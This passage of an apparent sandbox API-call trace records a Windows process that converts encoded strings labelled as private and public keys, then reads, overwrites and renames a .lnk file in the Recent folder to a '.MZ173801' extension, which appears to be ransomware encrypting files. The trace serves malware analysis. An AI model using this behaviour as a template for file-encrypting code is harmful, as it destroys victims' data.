lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0147.013] GetCurrentThreadId () returned 0xab4 [0147.013] GetCurrentThreadId () returned 0xab4 [0147.013] GetCurrentThreadId () returned 0xab4 [0147.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.014] GetCurrentThreadId () returned 0xab4 [0147.014] GetCurrentThreadId () returned 0xab4 [0147.014] GetCurrentThreadId () returned 0xab4 [0147.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5B1wK SInIEY1XG8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5b1wk siniey1xg8.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.014] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.014] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.014] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x490 [0147.014] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.014] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x490, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x490, lpOverlapped=0x0) returned 1 [0147.014] CloseHandle (hObject=0x280) returned 1 [0147.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5B1wK SInIEY1XG8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5b1wk siniey1xg8.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.015] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x490, lpOverlapped=0x0) returned 1 [0147.016] CloseHandle (hObject=0x280) returned 1 [0147.017] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5B1wK SInIEY1XG8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5b1wk siniey1xg8.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5B1wK SInIEY1XG8.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5b1wk siniey1xg8.lnk.mz173801")) returned 1 [0147.017] GetCurrentThreadId () returned 0xab4 [0147.017] GetCurrentThreadId () returned 0xab4 [0147.017] GetCurrentThreadId () returned 0xab4 [0147.017] GetCurrentThreadId () returned 0xab4 [0147.017] GetCurrentThreadId () returned 0xab4 [0147.017] GetCurrentThreadId () returned 0xab4 [0147.017] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf11abd1c, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x3fd63894, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x3fd89a8c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x46d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="5DFJaZ09zxpj.lnk", cAlternateFileName="5DFJAZ~1.LNK")) returned 1 [0147.018] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.018] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.018] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5DFJaZ09zxpj.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5dfjaz09zxpj.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf11abd1c, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x3fd63894, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x3fd89a8c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x46d)) returned 1 [0147.018] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5DFJaZ09zxpj.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5dfjaz09zxpj.lnk")) returned 0x20 [0147.018] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5DFJaZ09zxpj.lnk", dwFileAttributes=0x80) returned 1 [0147.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 